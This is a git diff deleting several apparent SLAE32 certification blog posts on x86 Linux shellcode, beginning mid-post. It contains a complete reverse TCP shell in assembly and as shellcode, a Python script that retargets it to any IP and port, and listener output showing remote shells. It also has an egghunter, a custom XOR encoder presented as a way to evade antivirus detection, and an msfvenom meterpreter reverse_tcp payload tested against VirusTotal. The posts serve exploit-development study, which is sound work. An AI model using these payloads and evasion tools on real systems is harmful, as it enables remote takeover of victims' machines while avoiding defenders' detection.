esp -xor ecx, ecx -xor edx, edx -int 0x80 -``` - -The final shellcode looks like this: - -```nasm -global _start - -section .text - -_start: - - ; Zero registers - xor eax, eax - xor ebx, ebx - xor ecx, ecx - xor edx, edx - - ; Create socket - mov al, 0x66 ; sys_socketcall - mov bl, 0x1 ; SYS_SOCKET - push 0x6 ; int protocol -> IPPROTO_TCP - push 0x1 ; int type -> SOCK_STREAM - push 0x2 ; int domain -> AF_INET - mov ecx, esp - int 0x80 ; sys_socketcall (SYS_SOCKET) - mov edi, eax ; save socket fd - - ; Create addr struct - mov eax, 0xfeffff80 ; 127.0.0.1 XORed - mov ebx, 0xffffffff ; XOR key (should be changed depending on IP to avoid nulls) - xor eax, ebx ; - push edx ; NULL padding - push edx ; NULL padding - push eax ; sin.addr (127.0.0.1) - push word 0x5c11 ; Port 4444 - push word 0x2 ; AF_INET - mov esi, esp - - ; Connect socket - xor eax, eax - xor ebx, ebx - mov al, 0x66 ; sys_socketcall - mov bl, 0x3 ; SYS_CONNECT - push 0x10 ; socklen_t addrlen - push esi ; const struct sockaddr *addr - push edi ; int sockfd - mov ecx, esp - int 0x80 - - ; Redirect STDIN, STDOUT, STDERR to socket - xor ecx, ecx - mov cl, 0x3 ; counter for loop (stdin to stderr) - mov ebx, edi ; socket fd - - dup2: - mov al, 0x3f ; sys_dup2 - dec ecx - int 0x80 ; sys_dup2 - inc ecx - loop dup2 - - ; execve() - xor eax, eax - push 0x41687361 ; ///bin/bashA - push 0x622f6e69 - push 0x622f2f2f - mov byte [esp + 11], al - mov al, 0xb - mov ebx, esp - xor ecx, ecx - xor edx, edx - int 0x80 -``` - -Compiling and testing the NASM generated ELF file -``` -slemire@slae:~/slae32/assignment2$ ../compile.sh shell_tcp_reverse -[+] Assembling with Nasm ... -[+] Linking ... -[+] Shellcode: \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x80\xff\xff\xfe\xbb\xff\xff\xff\xff\x31\xd8\x52\x52\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80 -[+] Length: 109 -[+] Done! - -slemire@slae:~/slae32/assignment2$ file shell_tcp_reverse -shell_tcp_reverse: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped - -slemire@slae:~/slae32/assignment2$ ./shell_tcp_reverse -[...] -slemire@slae:~$ nc -lvnp 4444 -Listening on [0.0.0.0] (family 0, port 4444) -Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52204) -whoami -slemire -``` - -The shellcode is then tested with the skeleton program: -```c -#include - -char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x80\xff\xff\xfe\xbb\xff\xff\xff\xff\x31\xd8\x52\x52\x50\x66\x68\x11\x5c\x66 -\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x -2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80"; - -int main() -{ - int (*ret)() = (int(*)())shellcode; - printf("Size: %d bytes.\n", sizeof(shellcode)); - ret(); -} -``` - -Compiling and testing the shellcode: -``` -slemire@slae:~/slae32/assignment2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c -slemire@slae:~/slae32/assignment2$ ./shellcode -[...] -slemire@slae:~$ nc -lvnp 4444 -Listening on [0.0.0.0] (family 0, port 4444) -Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52212) -whoami -slemire -``` - -### Python script to modify IP and port ---------------------------------------- - -The following python script is used to modify the IP and port in the shellcode. It will automatically XOR the IP address with a key and make sure that the resulting shellcode doesn't contain any null bytes. - -```python -#!/usr/bin/python - -import socket -import struct -import sys - -shellcode = '\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2' -shellcode += '\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x6a\\x01' -shellcode += '\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc7' -shellcode += '\\xb8\\x80\\xff\\xff\\xfe\\xbb\\xff\\xff' -shellcode += '\\xff\\xff\\x31\\xd8\\x52\\x52\\x50\\x66' -shellcode += '\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6' -shellcode += '\\x31\\xc0\\x31\\xdb\\xb0\\x66\\xb3\\x03' -shellcode += '\\x6a\\x10\\x56\\x57\\x89\\xe1\\xcd\\x80' -shellcode += '\\x31\\xc9\\xb1\\x03\\x89\\xfb\\xb0\\x3f' -shellcode += '\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x31\\xc0' -shellcode += '\\x68\\x61\\x73\\x68\\x41\\x68\\x69\\x6e' -shellcode += '\\x2f\\x62\\x68\\x2f\\x2f\\x2f\\x62\\x88' -shellcode += '\\x44\\x24\\x0b\\xb0\\x0b\\x89\\xe3\\x31' -shellcode += '\\xc9\\x31\\xd2\\xcd\\x80' - -if len(sys.argv) < 3: - print('Usage: {name} [ip] [port]'.format(name = sys.argv[0])) - exit(1) - -ip = sys.argv[1] -port = sys.argv[2] -port_htons = hex(socket.htons(int(port))) - -byte1 = port_htons[4:] -if byte1 == '': - byte1 = '0' -byte2 = port_htons[2:4] - -ip_bytes = [] -xor_bytes = [] - -ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-2:]) -ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-4:-2]) -ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-6:-4]) -ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][:-6]) - -for b in range(0, 4): - for k in range(1, 255): - if int(ip_bytes[b], 16) ^ k != 0: # Make sure there is no null byte - ip_bytes[b] = hex(int(ip_bytes[b], 16) ^ k)[2:] - xor_bytes.append(hex(k)[2:]) - break - -# Replace port -shellcode = shellcode.replace('\\x11\\x5c', '\\x{}\\x{}'.format(byte1, byte2)) - -# Replace encoded IP -shellcode = shellcode.replace('\\x80\\xff\\xff\\xfe', '\\x{}\\x{}\\x{}\\x{}'.format(ip_bytes[3], ip_bytes[2], ip_bytes[1], ip_bytes[0])) - -# Replace XOR key -shellcode = shellcode.replace('\\xff\\xff\\xff\\xff', '\\x{}\\x{}\\x{}\\x{}'.format(xor_bytes[3], xor_bytes[2], xor_bytes[1], xor_bytes[0])) - -print('Here\'s the shellcode using IP {ip} and port {port}:'.format(ip = ip, port = port)) -print(shellcode) - -if '\\x0\\' in shellcode or '\\x00\\' in shellcode: - print('##################################') - print('Warning: Null byte in shellcode!') - print('##################################') -``` - -To test, the IP address 172.23.10.37 is used with the port 5555: -``` -slemire@slae:~/slae32/assignment2$ ./prepare.py 172.23.10.37 5555 -Here's the shellcode using IP 172.23.10.37 and port 5555: -\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\xad\x16\xb\x24\xbb\x1\x1\x1\x1\x31\xd8\x52\x52\x50\x66\x68\x15\xb3\x66\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80 -``` - -Finally, the shellcode is tested: -``` -slemire@slae:~/slae32/assignment2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c -slemire@slae:~/slae32/assignment2$ ./shellcode -[...] -slemire@slae:~$ nc -lvnp 5555 -Listening on [0.0.0.0] (family 0, port 5555) -Connection from [172.23.10.37] port 5555 [tcp/*] accepted (family 2, sport 58584) -whoami -slemire -``` - -This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: - -[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) - -Student ID: SLAE-1236 - -All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32) \ No newline at end of file diff --git a/_posts/2018-11-19-egghunter.md b/_posts/2018-11-19-egghunter.md deleted file mode 100644 index bc76dab8a4..0000000000 --- a/_posts/2018-11-19-egghunter.md +++ /dev/null @@ -1,261 +0,0 @@ ---- -layout: single -title: Egghunter Linux Shellcode -date: 2018-11-19 -classes: wide -header: - teaser: /assets/images/slae32.png -categories: - - slae - - infosec -tags: - - slae - - assembly - - egghunter ---- - -An egghunter can be useful in situations where the buffer space the attacker controls is limited and doesn't allow for a full shellcode to be placed on the stack. The egghunter acts as a staged payload: the smaller payload which is executed first looks through the entire process memory space for a marker (the egg) indicating the start of the larger payload. Once the egg is found, the stager jumps to the memory address following the egg and executes the shellcode. - -There's a few gotchas though that the egghunter has to watch out for: - -The main problem the egghunter has to work around is segfaults when trying to access an area of memory that is not allocated. To prevent this, the `access` function is called for each memory page and only if the page can be accessed will the shellcode look for the egg inside it. By default, Linux uses a page size of 4096 bytes so if an `EFAULT` is returned after calling `access`, we skip to the next page to avoid segfaulting. - -The egghunter must also avoid locating itself in memory and jumping to the wrong address. - -As shown here in the memory map, the stack is located at a higher address than the `.text` segment (0x08048000) so if we look in memory for the egg starting from the lower addresses, we'll match the string in the egghunter code instead of the egg in front of the 2nd stage shellcode (located on the stack). -``` -gef➤ vmmap -Start End Offset Perm Path -0x08048000 0x08049000 0x00000000 r-x /home/slemire/slae32/assignment3/egghunter_c -0x08049000 0x0804a000 0x00000000 r-x /home/slemire/slae32/assignment3/egghunter_c -0x0804a000 0x0804b000 0x00001000 rwx /home/slemire/slae32/assignment3/egghunter_c -0xb7e19000 0xb7e1a000 0x00000000 rwx -0xb7e1a000 0xb7fca000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so -0xb7fca000 0xb7fcc000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so -0xb7fcc000 0xb7fcd000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so -0xb7fcd000 0xb7fd0000 0x00000000 rwx -0xb7fd6000 0xb7fd7000 0x00000000 rwx -0xb7fd7000 0xb7fda000 0x00000000 r-- [vvar] -0xb7fda000 0xb7fdb000 0x00000000 r-x [vdso] -0xb7fdb000 0xb7ffe000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so -0xb7ffe000 0xb7fff000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so -0xb7fff000 0xb8000000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so -0xbffdf000 0xc0000000 0x00000000 rwx [stack] -``` - -Let's say we have an egghunter program that used an egg with the bytes `DEAD`. Using `gef` for `gdb`, if we search for `DEAD` in memory we find a copy in the `.text` section at address `0x8048531` and another one in the stack at address `0xbffff1a8`. The 2nd one in the stack is the egg. -``` -[+] Searching 'DEAD' in memory -[+] In '/home/slemire/slae32/assignment3/egghunter_c'(0x8048000-0x8049000), permission=r-x - 0x8048531 - 0x8048535 → "DEAD[...]" - 0x804853b - 0x804853f → "DEAD[...]" - 0x8048545 - 0x8048549 → "DEAD[...]" -[+] In '/home/slemire/slae32/assignment3/egghunter_c'(0x8049000-0x804a000), permission=r-x - 0x8049531 - 0x8049535 → "DEAD[...]" - 0x804953b - 0x804953f → "DEAD[...]" - 0x8049545 - 0x8049549 → "DEAD[...]" -[+] In '[stack]'(0xbffdf000-0xc0000000), permission=rwx - 0xbffff1a8 - 0xbffff1ac → "DEAD[...]" - 0xbffff1cc - 0xbffff1d0 → "DEAD[...]" - 0xbffff1d0 - 0xbffff1d4 → "DEAD[...]" -[...] -gef➤ search-pattern DEADDEAD -[+] Searching 'DEADDEAD' in memory -[+] In '[stack]'(0xbffdf000-0xc0000000), permission=rwx - 0xbffff1cc - 0xbffff1d4 → "DEADDEAD[...]" -``` - -To avoid matching the string in the code itself, the egghunter code will look for the egg repeated twice. If the egg is only found once, the code assumes this is the string from the `.text` section, ignores it and keeps searching. - -### C prototype --------------- - -To start with, a C prototype was created to experiment with the egghunter concept. In this example, the egg is `DEAD` (4 bytes). The code is not optimized for speed and as such will start looking in memory at address `0x0`. There are probably better ways to optimize this, like start searching at addresses higher than the `.text` section, but these addresses could vary if ASLR is used. - -The following code shows the C prototype for the egghunter. -```c -#include -#include -#include - -int main() -{ - char egg[4] = "DEAD"; - char buffer[1024] = "DEADDEAD\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"; - unsigned long addr = 0x0; - int r; - - while (1) { - // Try to read 8 bytes ahead of current memory pointer (8 bytes because the egg will be repeated twice) - r = access(addr+8, 0); - // If we don't get an EFAULT, we'll start checking for the egg - if (errno != 14) { - // Need to check egg twice, so we don't end up matching the egg from our own code - if (strncmp(addr, egg, 4) == 0 && strncmp(addr+4, egg, 4) == 0) { - char tmp[32]; - memset(tmp, 0, 32); - strncpy(tmp, addr, 8); - printf("Egg found at: %ul %s, jumping to shellcode (8 bytes ahead of egg address)...\n", addr, tmp); - // Jump to shellcode - int (*ret)() = (int(*)())addr+8; - ret(); - } - // Egg not found, keep going one byte at a time - addr++; - } else { - // EFAULT on access, skip to next memory page - addr = addr + 4095; - } - } -} -``` - -Now, it's time to test the egghunter C prototype. Because the buffer containing the 2nd stage of the shellcode is located on the stack and the egghunter will jump to that memory location once it finds the egg, the `-z execstack` argument must be passed to the gcc compiler to make the stack executable otherwise it'll just segfault after jumping. -``` -slemire@slae:~/slae32/assignment3$ ./egghunter_c -Egg found at: 3221221888l DEADDEAD, jumping to shellcode (8 bytes ahead of egg address)... -$ id -uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) -``` - -Nice, now let's build the assembly version with NASM. - -### Assembly version of the egghunter -------------------------------------- - -First, registers are cleared and the egg is moved in `$esi`. We'll use that register later when we compare memory content against the egg. - -The `mul ecx` instruction is a little trick to reduce shellcode size: It multiplies `$eax` by `$ecx` (which was already zeroed out with the `xor` instruction), and the results are stored in both `$eax` and `$edx`. So basically with a single instruction, we can null out both `$eax` and `$edx`. - -```nasm - ; Zero registers - xor eax, eax - xor - xor ecx, ecx ; ecx = 0 - mul ecx ; eax = 0, edx = 0 - mov esi, 0xdeadbeef ; our egg: 0xDEADBEEF -``` - -The `$edx` register is used to keep track of the memory address being read. To check is memory is accessible, `access` is used at follows: - -```nasm - ; check if we can read the memory - xor eax, eax - mov al, 0x21 ; sys_access - lea ebx, [edx+8] ; const char __user *filename - int 0x80 ; sys_access - cmp al, 0xf2 ; Check if we have an EFAULT - jz next_page ; jump to next page if a fault is raised -``` - -If we get an `EFAULT`, we need to move to the next memory page (4096 bytes ahead), otherwise the code would run a lot more slowly since we know all 4096 bytes in the current memory page with also generate an `EFAULT`. To optimize the process, the current address is XORed with `4095` so the next loop iteration that increases the `$edx` register by 1 will end up in the next memory page. - -For example, if we just got a fault reading address `0xb7e19000`, XORing the address with `0xfff` results in `0xb7e19fff`. Then `0xb7e19fff` + 1 = `0xb7e18000` (start of the next page). - -```nasm - next_page: - or dx, 0xfff ; align page - - next_byte: - inc edx ; set address to beginning of the memory page -``` - -If there's no fault resulting from `access`, we can safely looks through the page one byte at a time. We can use the `cmp` instruction using the current `$edx` value against the `$esi` register that contains the egg value. We also need to repeat the comparison a 2nd time to avoid matching the egg value from the code itself as explained earlier. If the egg is matched, the memory address following the 2nd copy of the egg is copied into `$esi` and the code jumps to it, executing the 2nd shellcode located there. - -```nasm - ; search for the egg - cmp [edx], esi - jnz next_byte - - ; search again for 2nd copy of the egg (avoid matching code itself) - cmp [edx+4], esi - jnz next_byte - - ; egg found, jump to shellcode - lea esi, [edx + 8] - jmp esi -``` - -The final version of the egghunter code is shown below: -```nasm -global _start - -section .text - -_start: - - ; Zero registers - xor eax, eax - xor - xor ecx, ecx ; ecx = 0 - mul ecx ; eax = 0, edx = 0 - mov esi, 0xdeadbeef ; our egg: 0xDEADBEEF - - next_page: - or dx, 0xfff ; align page - - next_byte: - inc edx ; set address to beginning of the memory page - - ; check if we can read the memory - xor eax, eax - mov al, 0x21 ; sys_access - lea ebx, [edx+8] ; const char __user *filename - int 0x80 ; sys_access - cmp al, 0xf2 ; Check if we have an EFAULT - jz next_page ; jump to next page if a fault is raised - - ; search for the egg - cmp [edx], esi - jnz next_byte - - ; search again for 2nd copy of the egg (avoid matching code itself) - cmp [edx+4], esi - jnz next_byte - - ; egg found, jump to shellcode - lea esi, [edx + 8] - jmp esi -``` - -Compiling the shellcode with NASM: -``` -slemire@slae:~/slae32/assignment3$ ../compile.sh egghunter -[+] Assembling with Nasm ... -[+] Linking ... -[+] Shellcode: \x31\xc9\xf7\xe1\xbe\xef\xbe\xad\xde\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x32\x75\xee\x39\x72\x04\x75\xe9\x8d\x72\x08\xff\xe6 -[+] Length: 42 -[+] Done! -``` - -To test the egghunter shellcode, a skeleton C program is used. The `buffer` array contains a simple execve shellcode prepended by two copies of the egg `0xdeadbeef` (in little-endian format). -```c -#include - -char buffer[1024] = "\xef\xbe\xad\xde\xef\xbe\xad\xde\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; -char shellcode[] = "\x31\xc9\xf7\xe1\xbe\xef\xbe\xad\xde\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x32\x75\xee\x39\x72\x04\x75\xe9\x8d\x72\x08\xff\xe6"; - -int main() -{ - int (*ret)() = (int(*)())shellcode; - printf("Size: %d bytes.\n", sizeof(shellcode)); - ret(); -} -``` - -The following output shows that the shellcode works as intended and is able to locate the egg and execute the 2nd stage payload. -``` -slemire@slae:~/slae32/assignment3$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c -slemire@slae:~/slae32/assignment3$ ./shellcode -Size: 43 bytes. -$ id -uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) -``` - -This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: - -[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) - -Student ID: SLAE-1236 - -All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32) \ No newline at end of file diff --git a/_posts/2018-11-22-custom-encoder.md b/_posts/2018-11-22-custom-encoder.md deleted file mode 100644 index a694048184..0000000000 --- a/_posts/2018-11-22-custom-encoder.md +++ /dev/null @@ -1,292 +0,0 @@ ---- -layout: single -title: Custom shellcode encoder -date: 2018-11-22 -classes: wide -header: - teaser: /assets/images/slae32.png -categories: - - slae - - infosec -tags: - - slae - - assembly - - encoding ---- - -A shellcode encoder can be used for different purposes such as modify an existing shellcode to make it harder to detect by AV engines or simply avoid bad characters (such as null-bytes). - -The encoder itself doesn't provide any real security however since the obfuscation scheme is built into the code and is therefore reversible by anyone who has access to the encoded shellcode. This should not be confused with encryption, where security is based on the key and not the secrecy of the encryption scheme. - -In this post, we go over a simple encoder that performs the following: -1. The encoder pads the shellcode with NOP opcodes so it is 4 bytes aligned -2. A random byte is generated for each 4 bytes of the shellcode -3. The 4 bytes are put in the reverse order and XORed with the XOR byte -4. Process is repeated until the `0x9090aaaa` marker is reached - -The following diagram explains the process: - -![](/assets/images/custom-encoder/encoder.png) - -To encode the shellcode, a Python script is used and reads the shellcode from the input file in `\xFF\xEE\xDD...` format. As explained earlier, a XOR byte is randomly chosen for each 4 bytes tuple. If any of the encoded bytes end up being XORed to \x00, another random XOR byte is chosen instead to avoid nulls being insert in the final shellcode. - -A marker is added at the end of the shellcode so the length of the encoded shellcode doesn't need to be included in the decoder stub. - -The code of the encoder is shown here: --------------------------------------- - -```python -#!/usr/bin/python - -import random -import socket -import struct -import sys - -# Decoder stub -decoder_stub = "\xeb\x57\x31\xc0\x31\xdb\x31\xc9" -decoder_stub += "\x31\xd2\x5e\xbf\x90\x90\xaa\xaa" -decoder_stub += "\x83\xec\x7f\x83\xec\x7f\x83\xec" -decoder_stub += "\x7f\x83\xec\x7f\x8a\x5c\x16\x01" -decoder_stub += "\x8a\x7c\x16\x02\x8a\x4c\x16\x03" -decoder_stub += "\x8a\x6c\x16\x04\x32\x1c\x16\x32" -decoder_stub += "\x3c\x16\x32\x0c\x16\x32\x2c\x16" -decoder_stub += "\x88\x2c\x04\x88\x4c\x04\x01\x88" -decoder_stub += "\x7c\x04\x02\x88\x5c\x04\x03\x39" -decoder_stub += "\x7c\x16\x05\x74\x0a\x42\x42\x42" -decoder_stub += "\x42\x42\x83\xc0\x04\x75\xc5\xff" -decoder_stub += "\xe4\xe8\xa4\xff\xff\xff" - -# Seed PRNG (don't use this for real crypto) -random.seed() - -if len(sys.argv) < 2: - print('Usage: {name} [shellcode_file]'.format(name = sys.argv[0])) - exit(1) - -shellcode_file = sys.argv[1] - -# Read shellcode from file in '\xFF\xEE\xDD' format -with open(shellcode_file) as f: - shellcode_original = bytearray.fromhex(f.read().strip().replace('\\x','')) - -# If shellcode is not 4 bytes aligned, adding padding bytes at the end -if len(shellcode_original) % 4 != 0: - padding = 4 - (len(shellcode_original) % 4) -else: - padding = 0 -if padding: - print('[+] Shellcode not 4 bytes aligned, adding {} \\x90 bytes of padding...'.format(padding)) - for i in range(0, padding): - shellcode_original.append(0x90) - -shellcode_encoded = bytearray() - -# Process 4 bytes at a time -for i in range(0, len(shellcode_original), 4): - xor_byte_good = False - while(xor_byte_good == False): - # Generate random XOR byte - r = random.randint(1,255) - # Check that resulting shellcode doesn't contain null bytes - if (r ^ shellcode_original[i] != 0) and (r ^ shellcode_original[i+1] != 0) and (r ^ shellcode_original[i+2] != 0) and (r ^ shellcode_original[i+3] != 0): - xor_byte_good = True - - # Encoded shellcode contains XOR byte + next 4 bytes reversed - shellcode_encoded.append(r) - shellcode_encoded.append(shellcode_original[i+3] ^ r) - shellcode_encoded.append(shellcode_original[i+2] ^ r) - shellcode_encoded.append(shellcode_original[i+1] ^ r) - shellcode_encoded.append(shellcode_original[i] ^ r) - -# Add end of shellcode marker -shellcode_encoded.append(0x90) -shellcode_encoded.append(0x90) -shellcode_encoded.append(0xaa) -shellcode_encoded.append(0xaa) - -# Print out the output -decoder_stub_hex = ''.join('\\x{}'.format(hex(ord(x))[2:]) for x in decoder_stub) -shellcode_original_hex = ''.join('\\x{:02x}'.format(x) for x in shellcode_original) -shellcode_encoded_hex = ''.join('\\x{:02x}'.format(x) for x in shellcode_encoded) -shellcode_encoded_nasm = ''.join('0x{:02x},'.format(x) for x in shellcode_encoded).rstrip(',') -print('[+] Original shellcode (len: {}): {}\n'.format(len(shellcode_original), shellcode_original_hex)) -print('[+] Encoded shellcode (len: {}): {}\n'.format(len(shellcode_encoded), shellcode_encoded_hex)) -print('[+] Encoded shell in NASM format: {}\n'.format(shellcode_encoded_nasm)) -print('[+] Encoded shellcode /w decoder stub (len: {}): {}\n'.format(len(decoder_stub) + len(shellcode_encoded), decoder_stub_hex + shellcode_encoded_hex)) -``` - -The decoder uses the *JMP CALL POP* technique to push the address of the encoded shellcode on the stack. The decoder stub then makes room for 512 bytes on the stack by decreasing `$esp` by 512. - -We use the `$edx` to keep track of the offset from the start of the encoded shellcode. - -For each 4 bytes tuple, the bytes are stored as follows: -- 1st byte: `$bl` -- 2nd byte: `$bh` -- 3rd byte: `$cl` -- 4th byte: `$ch` - -Then we XOR each byte with the key, located at `[$esi + $edx]` and store the results on the stack in reverse order. After each tuple is decoded, the decoder stub checks if the marker is reached and jumps to the shellcode on the stack if that's the case. - -The complete decoder stub code if shown here: ---------------------------------------------- - -```nasm -global _start - -section .text - -_start: - jmp short call_shellcode - -decoder: - xor eax, eax - xor ebx, ebx - xor ecx, ecx - xor edx, edx - pop esi ; address of shellcode - mov edi, 0xaaaa9090 ; end of shellcode marker - sub esp, 0x7f ; make room on the stack (512 bytes) - sub esp, 0x7f ; make room on the stack - sub esp, 0x7f ; make room on the stack - sub esp, 0x7f ; make room on the stack - -decode: - mov bl, byte [esi + edx + 1] ; read 1st encoded byte - mov bh, byte [esi + edx + 2] ; read 2nd encoded byte - mov cl, byte [esi + edx + 3] ; read 3rd encoded byte - mov ch, byte [esi + edx + 4] ; read 4th encoded byte - xor bl, byte [esi + edx] ; xor with the key byte - xor bh, byte [esi + edx] ; xor with the key byte - xor cl, byte [esi + edx] ; xor with the key byte - xor ch, byte [esi + edx] ; xor with the key byte - mov byte [esp + eax], ch ; store in memory in reverse order to restore original shellcode - mov byte [esp + eax + 1], cl ; .. - mov byte [esp + eax + 2], bh ; .. - mov byte [esp + eax + 3], bl ; .. - - cmp dword [esi + edx + 5], edi ; check if we have reached the end of shellcode marker - jz execute_shellcode ; if we do, jump to the shellcode and execute it - - inc edx - inc edx - inc edx - inc edx - inc edx - add eax, 4 - jnz decode - -execute_shellcode: - jmp short esp - -call_shellcode: - call decoder - encoder_shellcode: db 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa -``` - -Testing non-encoded shellcode against Virus Total -------------------------------------------------- - -To test the encoder and see what effects it has on AV engine detection, I used a meterpreter reverse TCP payload and compiled it using the test C program without any encoding first. - -``` -root@ragingbeaver:~# msfvenom -p linux/x86/meterpreter/reverse_tcp -f c LHOST=172.23.10.40 LPORT=4444 -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x86 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 123 bytes -Final size of c file: 543 bytes -unsigned char buf[] = -"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89" -"\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c" -"\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0" -"\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05" -"\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9" -"\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd" -"\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80" -"\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00" -"\x00\xcd\x80"; -``` - -Testing the shellcode with the test program: - -``` -slemire@slae:~/slae32/assignment4$ gcc -z execstack -o msf msf.c -slemire@slae:~/slae32/assignment4$ file msf -msf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b36888fc1e3651d37ea86204f44e8d4078f99bd7, not stripped -``` - -``` -msf exploit(multi/handler) > run - -[*] Started reverse TCP handler on 172.23.10.40:4444 -[*] Sending stage (861480 bytes) to 172.23.10.37 -[*] Meterpreter session 1 opened (172.23.10.40:4444 -> 127.0.0.1) at 2018-11-22 08:08:36 -0500 -``` - -When submitted on VirusTotal, the meterpreter payload was picked up by a few AV engines: - -![](/assets/images/custom-encoder/msfpayload_plain.png) - -Encoded version ---------------- - -Next, the same payload was encoded with the custom encoder: - -``` -slemire@slae:~/slae32/assignment4$ ./encoder.py msf_met_reversetcp.txt -[+] Shellcode not 4 bytes aligned, adding 1 \x90 bytes of padding... -[+] Original shellcode (len: 124): 